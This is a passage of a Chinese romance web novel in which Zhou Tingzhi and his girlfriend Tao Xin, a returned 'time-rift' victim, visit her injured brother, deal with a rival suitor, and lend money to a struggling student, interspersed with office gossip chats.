虽然只有短短一周,但这是陶欣回来后他们第一次分开这么久。周廷之这几个晚上都没怎么睡好,夜里总习惯性的想把陶欣搂进怀里,替她盖一盖被子,可摸到的始终是一片冰凉,以至于一晚上难免要醒几次。 周廷之甚至疑心自己是不是患上了分离焦虑症,否则在龍城的这一周怎么会每天都如此难捱。 “年前还用出差吗?” “第三期的工程已经收尾了,接下来可以好好休息两天。” 陶欣抬起头,似乎想说什么,有点欲言又止,吞吞吐吐。这不是她的性格,周廷之便问:“怎么了?” “有件事我骗了你……” “如果你坦白,我就不生气。” 陶欣笑了,这才说:“其实那天我晚上出门,不是因为大哥发烧,是大哥晚上回家的路上出了車祸,不过幸好只是腰椎骨折,做了手术,现在已经没事了。” 陶欣牵他的手,晃一晃他的手臂:“我想你最近工作太忙了,怕你费心,就没告诉你,大哥大嫂那边我也跟他们解释了,他们都很体谅你的。”说完,陶欣又抬起头观察他的神情:“你没生气吧?” 女朋友这样全为他考虑的一番好意,周廷之怎么会生气。 他摸摸陶欣明显清瘦了几分的脸颊:“大哥住院这几天你是不是也没好好吃饭。” 陶欣黏到他怀里撒娇:“想你,吃不下饭……感觉你也瘦了。” 或许是因为童年时期父母的注意力一直在哥哥身上,周廷之从小就不是一个感情外露的人,更不擅长表达感情,哪怕二十岁,和陶欣正熱恋的那段时间,他都不会像现在这样,在大庭广众之下把陶欣抱在怀里,如此轻易地说什么“想你”“爱你”。 仅存的理智提醒他,现在太腻歪了,他即将要说的话更是有些孩子气。 可胸臆中澎湃的情感,迫切的寻找一个出口。 “以后再也不出差了。”周廷之说。 “工作还是不能耽误的,以后出差我陪你一起嘛。”陶欣的语气,也很像哄小孩子。 出了机场,坐上车,不用周廷之说,陶欣就打开了前往医院的导航。 周廷之在车里闻到浓郁的百合香气,回过头,后排座椅上放着一束包装精美的花。 “你買的?” “是呀,我想你肯定不会空着手去探病,不过这几天来看大哥的人太多,送的那些水果,就算二十四小时嘴不停地吃都不吃完,放着白白烂掉,还不如送花呢,没那么可惜。” 年轻的时候,学习为人处世不是靠参透,而是靠模仿。 周廷之几乎立刻意识到,陶欣是在模仿他,用他的方式照顾他。 可一束花对陶欣而言足够,对他却太少。 宋秘书还在龍城,明天的班机和其他人一起回来,周廷之只能给另一个秘书发消息,处理他的私事。 这个秘书,并不像宋秘书一样嘴巴严,且在公司里人员很好,经常和各部门的女同事们一起聚餐。周廷之不是怀疑她,是肯定,她绝对在那个匿名八卦群里。 讓她準备探病的禮品,群里那些人不一定又要说什么,多半会误以为陶书华是陶欣的父亲,以为他在讨好未来岳父。 也许会说,周廷之,你也有今天。 周廷之看向窗外,从未觉得这个城市的冬天这样美丽,阳光是暖的,风是软的,空气是甜的,就连落了叶子,光秃秃的树,也有一种庄重宁静的独特韵味。 “你在看什么呢?” “景色,还是家里好,比龍城美多了。” 在龙城这一个星期,周廷之过得很不好,到处都是灰突突的,天阴蒙蒙的,空气里有沙粒,总是下雨,哪怕最好的饭店,东西也很难吃。 “什么呀。”陶欣笑着说:“人家龙城可是最美旅游城市。” 周廷之摇摇头:“名不符其实。” 两人闲聊着,车开到了医院,周廷之的秘书早已在医院大门内等候,看到周廷之跟在陶欣身后进来,嘴巴和眉毛都剧烈的活动了一下。 之前周廷之探望病人也曾像今天这样讓她带着禮品来医院,然后带着她一起上楼,向病人表示慰问和关心,所以秘书收到周廷之的消息后并没有多想,準备好东西就匆忙趕到医院来了。 她竟然忘记,今时不同往日。 秘书很快平静下来,走上前将几个十分精美的禮品袋交给周廷之。 “周总,这些都是适合骨折患者吃的补品。” “好,你直接下班吧。” 果然,周廷之要探望的病人不是生意场上的“这董那总”,并不需要她跟上去活络气氛。 秘书笑一笑,转身走了,但走的很慢,恨不得把耳朵留下。” 欸,你怎么又准备?“小老板娘问。 “伤筋动骨还要补一补身体呢,何况开刀动手术。” “大嫂看到又要说你了。” 果然!是来探望小老板娘的娘家人! 秘书刚坐上车就迫不及待的在群里汇报情况,比工作还积极。 【家人们,谁懂啊,我知道ztz为什么提早一天从龙城趕回来了】 【?快说,我真服了他,天晓得我早上一睁眼看到工作群里十几个待审核文件脑壳多痛!快告诉我!他大半夜不睡觉!加班加点往前赶时间到底为什么!蕾丝老娘了!】 【哈哈哈哈哈哈哈龙城組这周累断气了】 【其实就是正常年末的工作节奏,就ztz自己一个人紧迫,搞的大家都提着一口气】 【好像是小老板娘家亲戚骨折住院了,看ztz的行程应该是一下飞机就来了医院,路上讓我買的补品送过来,最搞笑的是什么,小老板娘看到ztz买那么多东西,来了一句“大嫂看到又要说你了”哈哈哈哈哈】 【哈哈哈哈我懂你的笑点,小老板娘才多大,她大嫂撑死也就三十出头哈哈哈哈】 【好啊好啊,我们给ztz当孙子,ztz背着我们给人家当孙子,你别说,还真挺爽的】 【ntr】 【??能对劲吗??】 【别学个词乱用啊!!】 【说正经的,如果是这个原因我倒是可以体谅,我看小老板娘那样子,家境也不会差,在家里多半也是个娇生惯养的小公主,ztz快四十的人了,小老板娘家里能不反对?那ztz肯定得抓住一切机会献殷勤啊,他能完成工作再赶回来已经很算个人了[嘻嘻]我代表龙城組原谅他了[嘻嘻]】 【这要是我们公司那些男同事知道,还不得爽死了,ztz都得讨好老丈人和丈母娘】 【不得不说,那帮二百五要是能拿出ztz十分之一的劲头估计也脱单了,就他们一天天的,我都笑死,还在那幻想自己女朋友刚上小学呢,还等着他们的小学生女朋友长大以后来接他们下班呢】 【哈哈哈哈哈我那天在休息室也听见了】 【@龙城组那位朋友,你们对ztz还是缺乏了解,你们想一想,他机场去医院的路上才让买礼品,说明是刚知道这件事,他在龙城那么着急忙慌的赶工,根本就不是急着回来探病】 【so?就是着急回来见他的亲亲小女友?】 【yes】 【天杀的ztz我#¥@%¥#……】 【哈哈哈哈哈哈怎么这么搞笑啊ztz天天挨骂哈哈哈哈】 匿名群里熱火朝天之际,周廷之已经捧着鲜花拎着补品走进了病房。 陶书华并没有因为他工作忙碌迟来几天而冷淡他,也没有因为他带了众多名贵补品而态度热情,仍是那样不冷不热,不远不近。 人类的感情并不受理智支配。陶书华当然清楚周廷之对陶欣的一番情意胜过这世上所有人,十八年的等待不是每个男人都能做到,尤其是如他一般的男人。 可这只是陶书华不得不接受周廷之的理由,对于周廷之,他天然的不喜欢,周廷之身上某些碎片式的特征,目的性很强的侵略感,过分圆滑的为人处世,会让他联想到已经过世的父亲。 可以想见,如果父亲在世,一定很满意周廷之这个女婿,而他注定与他们合不来,像是相互之间磁场的排斥。 作为知识分子,陶书华的涵养不允许他让周廷之太过难堪,何况还有陶欣在。可就算看在陶欣的面子上,陶书华也只能做到表面和气,敷衍了事。 周廷之当然能感受到陶书华的不喜。 虽然周廷之很希望陶欣的家人可以接受他,容纳他,但这个世界对他总是事与愿违,他早就习惯了,所以并不在乎陶书华的态度,倒宁愿陶书华更淡漠一些,好让陶欣对他心生怜惜。 陶欣很见不得他受委屈。 陶书华对他越冷淡,陶欣对他就越温柔,草莓都是挑挑拣拣,选了一颗最新鲜最漂亮的递到他嘴边。 “给,可甜了。” “谢谢。” 周廷之表现的很客气,在旁人看来或许没什么,可对于陶欣来说,这是拘谨的表现。 陶欣可不舍得他这么不自在,给他喂完草莓就拿出手机看了眼时间,看神情大概已经在计划离开了。 周廷之私下里悄悄地握住陶欣的手,看着陶欣笑一笑,以此表示“即便你大哥不喜欢我,我也愿意留在这里多陪陪他”。 陶欣想跟家人亲近,他这样委屈求全,陶欣怎么会不受感动,看他的眼神都沁着柔软的甜意。 陶欣是很单纯的孩子,从小到大都没经历过人心险恶。 其实周廷之有时候自己想一想,也觉得他年龄比陶欣大太多,陶欣在他面前几乎像水晶琉璃一样透明,孩子一样简单,他看陶欣,就如同讲台上的老师观察顽皮的学生,对于那些小动作,看得一清二楚,却不动声色。 在任何一种关系里,过于悬殊的差距本质都是不平等,尤其是年龄。 一个在社会上工作的男人和一个比他小很多的女大学生谈恋爱,往往被唾弃的都是男人,都会认为他是在同龄人之中失去了择偶权,才利用自己那几年的社会阅历去哄骗还没有经历过社会的女学生。 周廷之笃定,如果陶欣是他的女儿,他的妹妹,他对待自己的态度不会比陶书华好多少。 他很庆幸自己在陶欣心目中的地位不逊色于陶书华。 “欣欣指甲长得真快,跨年那天做的吧,这还不到一个月就长这么长了。” “是呀,我打算后天去重做一个短甲,长指甲还是太不方便。” 大嫂和陶欣聊着天,忽然提起陶欣的生日:“欣欣是过阳历生日的吧?我记得是下周二。” 陶欣点点头,说:“我是二月二号的生日。” “哎,月初的时候我还想着,给你织一条围巾当生日礼物,现在你大哥这样,也没那个时间了。”大嫂诚心要送她生日礼物,便笑着说:“你看你想要什么,大嫂买给你。” “嗯……” 陶欣知道大嫂是非送她礼物不可,又不愿意大嫂太破费,正冥思苦想,忽然有人敲了敲病房的门,随即推门而入。 是孟和光。 在他走进病房的那一瞬间,周廷之注意到他穿着并不能御寒的夹克。 还有笔直的裤线,平整的衬衫,因为精心熨烫过,即便看上去是很寻常的衣着,也衬得人格外修长挺拔。 “师父,师母。”孟和光向陶书华夫妻打了声招呼,紧接着看向陶欣,看向他,微笑着颔首示意。 第46章 第46章(本章含百分之三十周念…… 诚如周廷之所说,陶欣在他面前几乎像水晶琉璃一样透明,孩子一样简单,他看陶欣就如同讲台上的老师观察顽皮的学生。 孟和光一进门,周廷之就敏锐地察覺到了陶欣的变化。 陶欣话一下子少了很多,她拿着一颗草莓慢慢吃,仿佛是因为嘴巴在忙碌才很少开口,视线刻意的躲避孟和光,几乎没有任何交集。 而孟和光却恰恰相反,元旦在陶书华家吃晚饭那天,他自覺是个外人,唯恐喧宾夺主,很少主动开口,今天却异常活跃,询问过陶书华的情况后,便洗了手削蘋果给大家吃。 看得出来,他擅长削蘋果,蘋果皮一圈一圈的落下来,薄而不断。 大嫂夸赞他手巧,他下意识看了陶欣一眼。 陶欣坐在病床的另一邊,没有看他精妙绝伦的削蘋果技术,更没有附和大嫂热情捧場。 他的视线飞快地从陶欣身上掠过,悄无声息。 如果不是周廷之习惯性的观察陶欣身邊所有年轻异性,恐怕也不会发觉这隐蔽的一眼。 周廷之能感觉到,孟和光陶欣之间的气氛产生了变化,一种微妙的,恐怖的变 化。 “欣欣,廷之,来,吃苹果。”大嫂端来孟和光切好的苹果,笑着说:“待会你们走的时候拎点水果回去,单靠我跟你大哥,不知道哪百年能吃完。” 陶欣笑了笑,用牙签扎了一块苹果,问:“姐姐和姐夫呢?” “昨天找到了合适的护工,他们俩一早就回去了,家里有孩子,不能在这边久待。” “这样啊……” 陶欣把一整块苹果都塞进嘴巴里,吃的两腮鼓鼓,模样很讨喜。 周廷之抽了一张纸巾,擦拭掉她嘴角溢出来的苹果汁:“慢点。” 陶欣便递给他一块苹果,含混不清地说:“你也吃。” 周廷之接下来,拿在手里,看着她笑。 这时陶书华又提起刚才的话题:“你还没说生日想要什么礼物呢。” 话题落到陶欣身上,孟和光自然而然的看过来。 “我……”陶欣想了一下说:“我想要一个雪镜,粉色的,柱面的。” 陶欣喜欢滑雪,是很小的时候就喜欢,滑雪需要的装备陶书华也略知一二,便笑着说:“一个雪镜就完了?这么好打发。” “大哥要给我买一套滑雪服我也不介意呀,就怕你眼光太烂,买一套醜醜的,我穿还是不穿?雪镜好,再丑能丑到哪里去,不容易出错。” 陶书华闻言笑起来:“你说的也是。” 又坐了一会,陶欣忽然注意到窗外下起雪,雪粒子一样的雪,随着风席卷,像白色的沙尘暴,她便以待会雪大了开车不安全为由向陶书华夫妻提出告辞。 陶书华正输液,药已经见底了,大嫂要看着点滴,便没送他们出去。 陶欣和周廷之出了病房,还没走到电梯,就听孟和光在后面喊了一声“陶欣”。 陶欣停下来,转过身,见他提着一袋水果小跑到自己跟前,笑着说:“师母要给你们拿的水果。” “哦……我都忘了。”陶欣把水果接过来:“麻烦你了。” 陶欣对他的态度,远比元旦那天更客气。 虽然元旦那天周廷之在厨房帮忙,但他其实听到了玄关的对话。 孟和光问陶欣“帅吗”,陶欣回了一句“太帅了”。那时候,她们两个之间还很自然。 又一次道别,孟和光说:“开车注意安全。” 离开医院,漫天的风雪,像是雾气弥漫。 陶欣穿短款羽绒服,显得身材比例很好,却不足以抵御这样的天气,拉着周廷之一路小跑到停车場,一进车里就赶緊打开了暖风和座椅加热。 “下午还没这么冷呢,怎么晚上突然降温了。”陶欣轻喘着,呼出白蒙蒙的气。 周廷之想起孟和光身上那件完全不符合季节的黑色夹克,微微握緊了冰凉的方向盘。 他在犹豫。 他很明确陶欣孟和光之间的气氛不同寻常,陶欣在刻意回避和孟和光的视线接触,而孟和光在有意吸引陶欣的注意。 这种氛围近似暧昧。 可陶欣一直尽所能的给他安全感,他不应该猜忌陶欣对他的爱。 直接问,问陶欣跟孟和光之间到底发生了什么,陶欣会回答他,给他合理的解释。 周廷之犹豫。 他怕陶欣并没有意识到自己的反常,怕陶欣其实懵懵懂懂,一旦他点破,陶欣就会恍然大悟,发觉自己感情的偏移。 这对周廷之而言不亚于一场豪赌。 最终,对于今天发生的事,周廷之什么都没说,他只是提议陶欣生日那两天去长白山滑雪。 陶欣拒绝了,她生日想和大哥大嫂一起过,至于长白山,可以等她收到大哥大嫂送的雪镜之后再去。 周廷之知道,陶欣一直很想念父母,现在陶书华夫妻成了她对父母感情的寄托。 他无法割绝陶欣和陶书华夫妻的联系,就无法阻止陶欣未来与孟和光一次又一次的见面。 陶欣面对孟和光时若有似无的尴尬,大概也是因为所谓的“低头不见抬头见”。 回到家的时候,已经是晚上七点。 周念在楼下吃完饭,自己一个人。说是吃饭,筷子拿在手里一下没动,只盯着手机,眉头紧皱。 陶欣过去喝水,看他这样子,不禁问:“你怎么了,苦大仇深的。” 她开口周念才注意到她进来,抿了一下嘴:“我爸呢?” “车库。” “……” 周念话没说出口,脸就先红了,一副难以启齿的模样说:“你能不能借我点钱。” 陶欣惊讶,没想到周念会向她借钱。周廷之对周念虽然称不上溺爱,但也算宠爱有加了,周念想要什么东西,只要不涉及原则底线,基本上说一声周廷之就会立刻转账给他,每个月的生活费也都在五万以上,对一个大学生,非常足够。 所以陶欣的第一反应是:“你黄/赌/毒沾上哪样了?” “我没有!” “那你被电信诈骗了?” “你能不能想我点好啊?” “你这是借钱的态度吗?” 周念要借的钱应该不是一笔小数目,陶欣这么一说,他态度立刻软下去了。 “是……是那个……我一个朋友借,她家里人生病了,缺钱做手术。” “那你跟你爸说呗,只要情况属实,他肯定会给你的。” “我就是不想让我爸知道。” “你爸不好忽悠我好忽悠吗?我也需要调查取证,情况属实才可以借你。” 听到开门声,知道是周廷之进来了,周念匆匆忙忙扔下一句:“是借给许冬至,她外婆要做手术。” 哦豁。 周廷之和小趙董夫妻俩在撮合周念跟趙瑞雪,周念转过头借钱给许冬至的外婆治病,听起来似乎是不太妥当。 “给我发微信,细说。”陶欣笑一笑,捧着牛奶去找周廷之了。 不多时,收到周念的微信。 据周念所说,许冬至从生下来就没有爸爸,也没见过媽媽,一直跟着外公外婆生活,直到去年,她媽媽忽然回家,把她带到小趙董面前,给小趙董两条路,要么认下她这个女儿,要么再给她一笔钱。 小赵董痛骂许冬至的妈妈贪得无厌,但为了自己的名声和家庭还是拿钱了事,许冬至的妈妈得了一笔巨款,又不知去向,而许冬至仍旧跟着外公外婆生活。 本来事情到这里也就结束了,可赵老先生不知从谁口中听闻此事,得知许冬至从小生活的很艰苦,成绩却十分的优异,并且大学的第一志愿就是赵老先生当年任职的学校,老爷子心里是既愧疚又欢喜,有意让许冬至认祖归宗,好好的补償这个孙女。 然而小赵董并不是个多孝顺的儿子,许冬至也不遂他的意,这事折腾几天就不了了之了。 谁能想到没过多久,许冬至的外婆就查出了疑难肿瘤,医生说只有做质子重离子才能活下来,单疗程就要三十万起步。 许冬至一个穷学生,勉强养活外公外婆两个体弱多病的老人,自然拿不出三十万。 许冬至无法,只好求到赵家。金婚晚宴那天晚上,陶欣和周念在赵家见到许冬至就是因为这个缘故。 而赵老先生知道孙女是为了钱登门,一次性给了她三十万,算是对她过去那些年的补償。 小赵董自觉巨额补偿过许冬至的妈妈两次,对这贪得无厌的母女俩一分钱都不肯再出。 现在是许冬至外婆治疗的第二个疗程,许冬至急需下一个三十万。 全世界能帮她的,就只剩下周念。 第47章 第47章“只要你觉得高兴,我不…… 陶欣给周念转了五十万,不为别的,许冬至一个才十八岁的小女生,那么瘦瘦小小,一邊照顧年老体弱的外公外婆,一邊用功读书,考上周念很努力才考上的名牌大学,单凭这份心性,她就愿意帮她。 她相信这个女孩只要度过了眼前的难关,将来一定会有很好的生活。 钱转过去不到十分钟,周念发来一张图片,画质有些模糊,是许冬至拍摄的手写欠条,字迹工整,模版正规,应该是之前就准备好了的。 她签了名字,按了 手印,野心勃勃地承诺,十年之內一定会还清这五十万。 那样小而柔弱的身体,阴郁怯懦的外表,藏着一种非凡的坚韧的力量。 这样想一想,陶欣就觉得自己实在太逊了。 周廷之洗完澡出来,见她坐在床上发呆,走过去揉一揉她的脸:“怎么了,又不高兴。” 陶欣实话实说:“犯病了。” “心里很不舒服嗎?” “一点点……我也说不上来。那天跟醫生聊,她说之所以时裂受害者会在考核中后期出现这种症状,是因为前期每个人都在很努力的了解世界的发展变化,努力融入这个崭新的社会,有一个非常明确的目标,而了解融入之后,不仅会失去生活的目标,看待这个世界的角度也会发生变化……大概就是这个意思。” “看待世界的角度……可以给我形容一下嗎?” “如果把时间比喻成高速公路,那我大概就是高速公路上的钉子户,大家都在既定轨道上行驶,不管是路过服务区休息,还是在某一站下高速,都有自己的生活,和我只是擦肩而过……” 看着車流滚滚,想跟上去,却徒劳的陷在原地。 陶欣的形容很悲凉。 陈平说的没错,她直到现在这个阶段才开始遇难后的心理重建。 事实上陶欣的情况比绝大多数时裂受害者要复杂得多,且不提她是目前所有时裂受害者中时间跨度最长,社会人际关系变化最大的一个,陶欣的生活环境也和其他时裂受害者天差地别。 在陶欣之前,管理局帮助受害者进行遇难后心理重建,往往是从两个方面入手,其一,是帮助他们实现经濟独立及增强社会参与感,其二,是帮助他们重建自信,提升自我效能感。 说白了,就是学点技术,找个班上,或者做点小买卖,努力赚钱买車买房,走上人人羡慕的人生巅峰。 管理局毕竟还是有点小权利的,想帮助一个普通人发家致富奔小康并非什么难事,所以绝大部分时裂受害者都在生活水平大大提升的情况下恢复了正常生活。 而对管理局来说,陶欣从一开始就是个巨大的挑战。 陈平的原话——陶欣十八年前的生活水平放到现在也是个妥妥的富二代,她父母又留给她一笔几辈子也花不完的巨额遗产,经濟独立是妄谈,重建自信更是扯淡,对待她只能忘记一切过往经验,谨慎小心,走一步看一步。 作为监护人,周廷之也要给她充分的理解和支持。 可这段时间以来,周廷之已经尝试过很多方式,对陶欣都只是短暂的鼓舞,她一个人的时候,总是会忽然间陷入沉寂,像被抽出灵魂。 周廷之知道,这种滋味一定很不好受。虽然有很多开解她的话,但为了避免影响心理醫生的干预疗程,必须要忍耐着,一句也不能说。 周廷之能做的只是用身体宽慰她,让她忘记那些烦恼,有一个好睡眠。 只是这样还远远不够。 陶欣生日的前一天,是陶书華出院的日子。陶书華做的腰椎手术,还不便于行走,出院也是需要人帮忙的,周廷之特意空出一上午时间和陶欣一起去了醫院。 毫不意外的,孟和光也在,他像陶书華夫妻俩的儿子一样忙前忙后,把所有事情都打点的井井有条,不知情的病人家属都一直围在陶书华夫妻俩身旁,夸他又帅又细心,想把自己的外甥女介绍给他。 大嫂自然要解释,说他不是自己的儿子,而是丈夫的学生,解释完自然还要夸赞,说学生倒是比寻常人家的儿子更尽心,三言两语,说到陶书华車祸当晚,孟和光第一时间赶到医院,又是安排陶书华做检查,又是联系医生转院,一直在手术室门口守到天亮。 大嫂说完,周廷之注意到陶欣看了他一眼,大概是在观察他得知这件事的反应。 他和陶欣都是邊界感很强的人,很清楚和异性接触时哪些是正常行为,哪些是越界行为,而他在这方面比陶欣更敏感。 陶欣的反应,明显是自己感觉到了越界,怕他多想。 陶欣了解他就像他了解陶欣一样。 他的确会多想。 手术室外一夜的相处,两个人之间气氛的转变……他察觉到了,陶书华会毫无所觉吗? 周廷之沉默。 于是陶书华出院回家的时候,陶欣故意拖拖拉拉,让陶书华夫妻跟孟和光坐医护车先走,她则是和周廷之单独一辆车。 一上车,是周廷之先开口,他不想让陶欣在沉默中窘迫不安。 “你是不是有话想和我说?” “嗯……就是,大哥车祸那天晚上,是我跟孟和光一起守在医院来着,对不起啊,我应该跟你讲清楚的。” “发生这种意外,孟和光在学校附近,赶过来帮忙,很正常。”周廷之问:“为什么没有和我讲清楚?” “我也不知道……可能是错过了讲清楚的时机,后面再刻意提起来,好像怪怪的。”陶欣停顿了一下:“再说,大哥对你的态度一直都不冷不热的,又那么喜欢孟和光,我怕你会多想。” 周廷之心里像是被刺入了一根带着倒刺的钢丝,反复拉扯,一阵阵紧拧的痛。 陶欣正处于遇难后的心理重建期,自顧不暇的人生至暗时刻,却仍然为他考虑许多,怕他多想,担心他难过。 可他能为陶欣做什么……他的敏感,多疑,不安,一直在限制陶欣的生活。 他明知道孟和光是陶欣喜欢的类型,却只想着割绝陶欣与孟和光的联系,阻止他们见面的机会。 从十八年前,就是陶欣在替他着想,照顾他的经济条件,保护他身为男人的自尊心,陪他去吃路边摊,麻辣烫,逛门票只要十块钱的公园,在学校里散步,甚至……外出旅行,也是为了他,才会选择那座山。 如果不是因为他,陶欣就算去那种地方,也会请一名经验丰富的向导,绝不可能遇到极端天气,自然灾害,和突然出现的时空裂隙。 如果不是因为他,陶欣一定会在父母的呵护中安然长大,按部就班的上学,毕业,或许成为一名舞蹈家,或许放弃自己不喜欢的舞蹈,找寻新的理想和目标。 那时的陶欣,不会是高速公路上的钉子户,只会是高速公路上一名快乐的游客。 可陶欣的生活被一场不可思议的意外彻底毁掉了。她没有怨天尤人,还在努力走出困境,还有余力像十八年前那样照顾他,保护他。 周廷之平生第一次感受到自己的自私。 他身为陶欣的监护人,男朋友,不能给陶欣任何理解和支持,反而一直在拖累陶欣。 天底下有没有像他这样糟糕的监护人,有没有像他这样失职的男朋友。 “孟和光……”周廷之终于开口:“孟和光似乎对你有好感。” 一向不修边幅的人,忽然精心打扮起来,就像求偶期开屏的孔雀,很难不被人察觉。 陶欣含糊其辞:“可能吧……” 周廷之问:“那你呢?” 陶欣毫不犹豫地说:“我当然没有了,那天他要加我微信我都没加。” 陶欣很果断,并非愤怒的果断,她急于举例证明自己对孟和光没有好感,可她举的例子,也并不是孟和光身上一样让她无法心生好感的缺点。 年长者的阅历,让周廷之轻易判断出陶欣对孟和光存在着微妙的好感。 或许像陶欣这么大的女孩子,都会天然喜欢一个善良正直,高大帅气,并且成绩优异的男生。 何况孟和光是陶欣的理想型,她会对孟和光产生好感完全是情理之中。 “有也没关系。”周廷之听到自己说。 “什么?”陶欣像是没听清楚。 于是周廷之重复:“有好感也没关系。” 陶欣怔怔地看着他。 “我的意思是,如果你对他有好感,喜欢和他在一起,完全可以和他交个朋友,让他陪你去做一些你感兴趣的事。”周廷之说这些话的时候,神情很寻常,一如既往地温柔,甚至轻轻吻了吻陶欣的唇角,又对她说:“只要你觉得高兴,我不会介意的,你需要多一些朋友 。” 虽然周廷之的意思表达的很清楚,但陶欣其实没太听明白。 明知道孟和光对她有好感,还让她同孟和光交朋友……周廷之是这样说?还是她理解的有问题? 陶欣稀里糊涂之际,周廷之已经把车开到了一家饭店门口,很快有人送了一些打包好的饭菜出来。 “周总,这些是按您交代的,一些清淡的菜系,骨折病人可以吃,这些是本店的经典菜系,上面是两道新推出的特色。” “好,麻烦你了。” 周廷之把菜放到后边,又坐回车里:“剛从医院回家,好多东西要整理,我想大嫂应该顾不上做午饭了,直接打包些菜拿回去吃。” 周廷之考虑事情一贯很周到,每每这种时候陶欣都爱打趣他,叫他“好粥道”。 可是这会陶欣没有玩笑的心思,她还在想周廷之剛刚那番话。 她不信任自己的耳朵了,所以向周廷之确认:“你让我同孟和光交朋友?” 周廷之:“嗯。” 陶欣:“你让孟和光陪我去做我感兴趣的事?” 周廷之:“我工作比较忙,没空陪你的时候。” 不是她耳朵的问题,那就是周廷之的问题。 陶欣说:“你生气了吗?故意说反话?你知道我听不懂人家说反话的。” “……”周廷之笑了笑:“我没有生气,也没有说反话,日久见人心,你大哥大嫂那样对孟和光,说明他这个人的确很可靠,整天待在实验室,也不会接触到外边不三不四的人,你跟他交朋友……我比较放心。” “他喜欢我也没关系吗?” “就是因为他喜欢你,你们才有可能做朋友,谁会和讨厌自己的人做朋友。” “……” 见陶欣沉默,不知道在想什么,周廷之又说:“不过你要记得,他只是你的朋友,我才是你的男朋友。” 第48章 第48章孟和光凭什么能让她高兴…… 陶欣趁着周廷之开车,给姚雪娜发微信。 【陶欣:周廷之又疯啦……】 【姚雪娜:有趣,细细道来】 【陶欣:他让我跟一个对我有好感的男生交朋友】 【陶欣:周廷之果然比我更有必要去看心理医生】 【姚雪娜:他不需要啊】 【姚雪娜:这不是疯了,是悟了,惨悟了】 【姚雪娜:他终于意识到自己满足不了你,所以拿出了大房心态哈哈哈哈哈哈】 【陶欣:?】 【陶欣:他会是这个意思?】 【姚雪娜:?】 【姚雪娜:你以为是什么意思?】 所以周廷之到底是什么意思? 两个人沉默一会,姚雪娜发来消息,往回圆。 【姚雪娜:安啦,我不了解他你还不了解他吗,他是誰啊,周廷之,你也不想想,他能有这度量,你就是加上微信,跟人家多聊两句他估计都受不了】 【陶欣:我想也是……大概是我最近情绪不好影响他了】 【姚雪娜:哎,他周廷之何德何能啊】 【姚雪娜:我是建议你给他一个教训,让他认清楚自己到底是几斤几两,他不是说让你跟人家交朋友吗,那你就交,先晚上聊聊天,再约出去吃个饭,看个电影,逛个街,看他能忍到哪一步】 【陶欣:这不好吧】 【陶欣:对那个男生很不公平】 【姚雪娜:你喜欢小三哥另说,不喜欢就约出去啊,在外边逛一天,然后明确告诉他,我约你出来就是为了气我男朋友,你别把心思用在我身上了,浪费时间,不值得,结束】 【姚雪娜:一般男的你说到这里他也就死心了,转身开启第二春了】 雪娜苏格拉底姚老师果然字字珠玑,虽然她有时候说话挺不靠谱的,但陶欣每次跟她聊完天都觉得很轻松,好像压在心头的烦恼根本不算什么事。 或许她三十八岁的时候会和姚雪娜一样豁达。 就算不像姚雪娜一样豁达,肯定也不会像周廷之一样小气。 陶欣这样一想,心情一下子好了很多。 车很快开到陶书华的家。陶书华夫妻也刚到家不久,正在医護人员的幫助下调整陶书华卧床的姿势。 有孟和光在,这种体力活大嫂伸不上手,看看时间,差不多该吃午饭了。可家里几天没人,冰箱里空荡荡的,实在是巧妇难为无米之炊。 大嫂正犯愁呢,周廷之就带着打包的饭菜进来了,她心下一喜,忙夸周廷之细致。 待医護人员离开后,几人便打开饭来吃。大嫂要照顾在客厅卧床的陶书华,将那些特意嘱咐过忌口的菜分别拨出来一些拿去客厅和丈夫單独吃,陶欣周廷之孟和光三人则围坐在餐桌旁。 静默异常,气氛古怪。 陶欣想到周廷之在车里对她说的那番话,主动开口打破僵局,她对孟和光说:“阿姨把药膳汤的單子整理好了,我微信发给你吧,这样你有什么问题可以随时问我。” 孟和光微微一怔,应了声“好”,拿出手机和陶欣互加了微信。 陶欣没有特别关注周廷之的反应,可因为两个人对彼此太熟悉了,陶欣能很真切的感受到身旁骤然降低的气压。 这样就不高兴了?还说什么要她多交朋友。 哼。 当着周廷之的面,陶欣把药膳汤单子发了一份给孟和光,又看了眼孟和光的朋友圈。孟和光是典型的理科生,朋友圈看着很朴实,全是一些实验室日常,又或是一些搞笑的段子,简简单单的记录生活。 和誰的朋友圈相差很大来着…… 陶欣返回好友列表,上下滑动半天,总觉得自己朋友圈里有个男生朋友圈很精致,可就是死活想不起来是谁。 难道改名了?换头像了? 她应该有备注的呀…… 算了。 陶欣收起手机,继续吃饭。 从陶书华家离开的时候是下午两点,回去的路上,周廷之问她:“明天你生日,还是来大哥家吗?” “我计划是中午来大哥家吃饭,拿一下生日礼物,晚上跟你一起过,怎么样?懂事吧。” 陶欣笑容娇憨,语气俏皮,看上去心情很好。 她心情好。 是因为即将到来的生日,还是受了新朋友影响。 不管是出于什么原因,周廷之很庆幸她有这样好的心情。 他不愿意看到她低落出神的样子。 晚上,陶欣陪两只小猫在客厅玩,又照旧拍了很多视频。周念路过客厅,看那两只小醜猫在挠沙发,很有劲的样子,比起最开始带回家的时候不知道长大了多少,便说:“你怎么不发个抖音呢,我看人家发那种小猫从小长到大的视頻,点赞都特别多。” “我刷到过,但我不会弄。” “不是吧,这你都不会,现在剪辑視頻多方便啊。” “那你幫我弄。” 作为债主,陶欣颐指气使。 周念伸出手,勾了两下手指,向她索要手机:“可不是白帮你弄的,这就当我送你的生日礼物啊。” 陶欣没想到周念还记着她明天过生日的事,有点受宠若惊的把手机递过去:“哇塞,太感谢了吧。” “哼哼,看好了,就点开这个,然后按照时间顺序选择你要添加的視頻,再剪辑一下视频时长,比如你只要这段,就把后面裁掉,懂了吗?” “okok,我懂了。” “然后再添加一段音乐……文字就不配了吧,太麻烦了,文案写一下,要不叫两只醜猫的成长史?” 视频已经剪辑完成,就差写个文案,陶欣拿过手机,当场卸磨杀驴:“你才醜,剩剩和美美多可爱。” “那你要写什么。” “我要写,这是我一把屎一把尿养大的小猫咪,嘻嘻。” “你得写一把屎一把尿喂大的,这样能火。” 陶欣不理他,把视频发出去。 周念满意的欣赏了一遍自己剪辑的视频,给她点了个赞,与此同时,侧方小 爱心底下的数字变成了2,評论也增加了一条。 【凌胜:可爱】 这个人周念记得,在赵家晚宴上见过,当时是唐成仁介绍凌胜和陶欣认识的。他没在意,一边刷手机一边上楼了。 而陶欣终于想起那个朋友圈很精致的男生是谁了,她回到微信好友列表里搜凌胜的名字,还是一无所获。 凌胜删了她?微信好像不能单方面删除好友。 那就是她删除了凌胜。 又或者说周廷之删除了凌胜。 